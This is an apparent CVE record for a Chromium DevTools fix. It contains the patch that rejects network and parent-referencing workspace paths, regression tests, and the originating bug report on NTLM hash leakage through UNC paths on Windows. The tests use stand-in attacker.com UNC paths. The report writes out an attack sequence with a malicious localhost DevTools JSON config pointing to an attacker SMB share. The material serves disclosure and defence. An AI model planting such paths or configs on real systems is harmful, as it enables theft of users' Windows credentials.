CVE-2026-13961
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Fchrome/browser/devtools/devtools_file_helper_unittest.cc |
modified | |
forchrome/browser/devtools/devtools_file_helper_unittest.cc |
modified |
Files Changed
chrome/browser/devtools/devtools_file_helper.ccchrome/browser/devtools/devtools_file_helper_unittest.cc
Patch
From e9b1faaafd0aa0429f4e8c426b3f727855060b00 Mon Sep 17 00:00:00 2001 From: Wolfgang Beyer <[email protected]> Date: Thu, 28 May 2026 01:09:08 -0700 Subject: [PATCH] [DevTools] Verify workspace path is local and does not reference parent Fixed: 513719481 Change-Id: I20aa1e2cb38ffdcc087f6ad95fb79ed8583edd65 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7876392 Auto-Submit: Wolfgang Beyer <[email protected]> Commit-Queue: Wolfgang Beyer <[email protected]> Reviewed-by: Alex Rudenko <[email protected]> Cr-Commit-Position: refs/heads/main@{#1637533} --- diff --git a/chrome/browser/devtools/devtools_file_helper.cc b/chrome/browser/devtools/devtools_file_helper.cc index aa1eb15..5e343b6 100644 --- a/chrome/browser/devtools/devtools_file_helper.cc +++ b/chrome/browser/devtools/devtools_file_helper.cc @@ -288,12 +288,13 @@ ConnectCallback connect_callback) { DCHECK(file_system_uuid.is_valid()); - // Make sure that |file_system_path| is a valid absolute path. + // Reject unsafe network, relative, or parent-referencing paths synchronously + // to avoid performing any filesystem existence/presence checks. base::FilePath path = base::FilePath::FromUTF8Unsafe(file_system_path); - if (!path.IsAbsolute()) { + if (!path.IsAbsolute() || path.IsNetwork() || path.ReferencesParent()) { LOG(ERROR) << "Rejected automatic file system " << file_system_path - << " with UUID " << file_system_uuid << " because it's not" - << " a valid absolute path."; + << " with UUID " << file_system_uuid + << " (not a safe local absolute path)."; std::move(connect_callback).Run(false); FailedToAddFileSystem(kIllegalPath); return; diff --git a/chrome/browser/devtools/devtools_file_helper_unittest.cc b/chrome/browser/devtools/devtools_file_helper_unittest.cc index 8a25089..367d982 100644 --- a/chrome/browser/devtools/devtools_file_helper_unittest.cc +++ b/chrome/browser/devtools/devtools_file_helper_unittest.cc @@ -345,6 +345,45 @@ IsEmpty()); } +TEST_F(DevToolsFileHelperTest, ConnectAutomaticFileSystemWithNetworkPath) { + std::vector<std::string> network_paths = {"//attacker.com/share"}; +#if BUILDFLAG(IS_WIN) + network_paths.push_back("\\\\attacker.com\\share"); +#endif + + for (const std::string& path_str : network_paths) { + base::MockCallback<DevToolsFileHelper::ConnectCallback> connect_cb; + EXPECT_CALL(connect_cb, Run(false)); + EXPECT_CALL(delegate(), FileSystemAdded("<illegal path>", IsNull())); + + file_helper()->ConnectAutomaticFileSystem( + path_str, base::Uuid::GenerateRandomV4(), + /* add_if_missing */ false, base::DoNothing(), connect_cb.Get()); + + EXPECT_THAT(profile()->GetPrefs()->GetDict(prefs::kDevToolsFileSystemPaths), + IsEmpty()); + } +} + +TEST_F(DevToolsFileHelperTest, ConnectAutomaticFileSystemWithParentReferences) { +#if BUILDFLAG(IS_WIN) + std::string traversal_path = "c:\\foo\\bar\\..\\baz"; +#else + std::string traversal_path = "/foo/bar/../baz"; +#endif + + base::MockCallback<DevToolsFileHelper::ConnectCallback> connect_cb; + EXPECT_CALL(connect_cb, Run(false)); + EXPECT_CALL(delegate(), FileSystemAdded("<illegal path>", IsNull())); + + file_helper()->ConnectAutomaticFileSystem( + traversal_path, base::Uuid::GenerateRandomV4(), + /* add_if_missing */ false, base::DoNothing(), connect_cb.Get()); + + EXPECT_THAT(profile()->GetPrefs()->GetDict(prefs::kDevToolsFileSystemPaths), + IsEmpty()); +} + TEST_F(DevToolsFileHelperTest, ConnectAutomaticFileSystemWithNonExistentPath) { base::ScopedTempDir td; ASSERT_TRUE(td.CreateUniqueTempDir());
Regression Test / PoC
diff --git a/chrome/browser/devtools/devtools_file_helper_unittest.cc b/chrome/browser/devtools/devtools_file_helper_unittest.cc
index 8a25089..367d982 100644
--- a/chrome/browser/devtools/devtools_file_helper_unittest.cc
+++ b/chrome/browser/devtools/devtools_file_helper_unittest.cc
@@ -345,6 +345,45 @@
IsEmpty());
}
+TEST_F(DevToolsFileHelperTest, ConnectAutomaticFileSystemWithNetworkPath) {
+ std::vector<std::string> network_paths = {"//attacker.com/share"};
+#if BUILDFLAG(IS_WIN)
+ network_paths.push_back("\\\\attacker.com\\share");
+#endif
+
+ for (const std::string& path_str : network_paths) {
+ base::MockCallback<DevToolsFileHelper::ConnectCallback> connect_cb;
+ EXPECT_CALL(connect_cb, Run(false));
+ EXPECT_CALL(delegate(), FileSystemAdded("<illegal path>", IsNull()));
+
+ file_helper()->ConnectAutomaticFileSystem(
+ path_str, base::Uuid::GenerateRandomV4(),
+ /* add_if_missing */ false, base::DoNothing(), connect_cb.Get());
+
+ EXPECT_THAT(profile()->GetPrefs()->GetDict(prefs::kDevToolsFileSystemPaths),
+ IsEmpty());
+ }
+}
+
+TEST_F(DevToolsFileHelperTest, ConnectAutomaticFileSystemWithParentReferences) {
+#if BUILDFLAG(IS_WIN)
+ std::string traversal_path = "c:\\foo\\bar\\..\\baz";
+#else
+ std::string traversal_path = "/foo/bar/../baz";
+#endif
+
+ base::MockCallback<DevToolsFileHelper::ConnectCallback> connect_cb;
+ EXPECT_CALL(connect_cb, Run(false));
+ EXPECT_CALL(delegate(), FileSystemAdded("<illegal path>", IsNull()));
+
+ file_helper()->ConnectAutomaticFileSystem(
+ traversal_path, base::Uuid::GenerateRandomV4(),
+ /* add_if_missing */ false, base::DoNothing(), connect_cb.Get());
+
+ EXPECT_THAT(profile()->GetPrefs()->GetDict(prefs::kDevToolsFileSystemPaths),
+ IsEmpty());
+}
+
TEST_F(DevToolsFileHelperTest, ConnectAutomaticFileSystemWithNonExistentPath) {
base::ScopedTempDir td;
ASSERT_TRUE(td.CreateUniqueTempDir());
Original Bug Report
Potential NTLM Hash Leak via DevTools Automatic Workspace UNC Paths on Windows
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: The DevTools ‘Automatic Workspace Folders’ feature on Windows is potentially vulnerable to NTLM credential leakage. A local-origin page can provide a UNC path in its workspace configuration that triggers an outbound SMB connection from the browser process before any user consent is obtained.
Affected files:
chrome/browser/devtools/devtools_file_helper.ccchrome/browser/devtools/devtools_ui_bindings.ccthird_party/devtools-frontend/src/front_end/models/project_settings/ProjectSettingsModel.tsthird_party/devtools-frontend/src/front_end/models/persistence/AutomaticFileSystemManager.tsthird_party/devtools-frontend/src/front_end/models/persistence/AutomaticFileSystemWorkspaceBinding.tsthird_party/devtools-frontend/src/front_end/panels/sources/NavigatorView.ts
Estimated timestamp from git blame: 2025-02-25
Summary
On Windows, the DevTools ‘Automatic Workspace Folders’ feature can be manipulated to disclose a user’s NTLMv2 challenge-response hash. This occurs because the browser process performs a filesystem existence check on a page-provided path before requesting user permission. If this path is a UNC path (e.g., \\attacker.com\share), the Windows SMB redirector will initiate an outbound connection, leaking credentials to the remote host.
Potential Root Cause
In chrome/browser/devtools/devtools_file_helper.cc, the function DevToolsFileHelper::ConnectAutomaticFileSystem receives a file_system_path provided by the DevTools frontend. On Windows, it validates that the path is absolute using path.IsAbsolute(). However, it does not check if the path is a network or UNC path.
Before displaying a permission Infobar to the user, the code attempts to verify the directory exists:
// chrome/browser/devtools/devtools_file_helper.cc:331
file_task_runner_->PostTaskAndReplyWithResult(
FROM_HERE, BindOnce(&base::DirectoryExists, path),
BindOnce(&DevToolsFileHelper::ConnectMissingAutomaticFileSystem, ...));
On Windows, base::DirectoryExists eventually calls the Win32 API GetFileAttributes. When invoked with a UNC path, this API triggers an outbound SMB connection. This connection occurs before ConnectMissingAutomaticFileSystem is called, which is the function responsible for triggering the user consent Infobar.
Persistence and Zero-Click Leakage
If a user initially grants permission for a malicious workspace, the path is saved in the profile’s preferences (prefs::kDevToolsFileSystemPaths). On subsequent visits to any localhost page providing the same path, DevTools will automatically attempt to connect. This triggers DevToolsFileWatcher::SharedFileWatcher::AddWatch, which performs directory enumeration (GetModificationTimes), leading to silent, zero-click NTLM leakage in future sessions.
Potential Attack Sequence
- An attacker identifies a way to serve content from the victim’s
localhost(e.g., a local development server or a local service). - The attacker provides a configuration at
http://localhost/.well-known/appspecific/com.chrome.devtools.jsonwith a malicious UNC path:{"workspace": {"root": "\\\\attacker.com\\share\\project", "uuid": "..."}}. - The victim opens DevTools on the localhost page. DevTools displays a connectable folder named ‘project’ (obfuscating the full UNC path).
- The victim clicks ‘Connect’.
- The browser process calls
base::DirectoryExistson the UNC path, leaking the NTLMv2 hash toattacker.combefore any permission prompt appears.
Suggested Fix
In DevToolsFileHelper::ConnectAutomaticFileSystem, add a check to reject network paths before performing any asynchronous operations. On Windows, this can be achieved by checking path.IsNetwork() or ensuring the path is a local drive path.
if (!path.IsAbsolute() || path.IsNetwork()) {
// Reject the path
}
Evaluated with Chrome root at commit: 1a8d40fc44df2088d5945c0bf53584038aa1614a
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.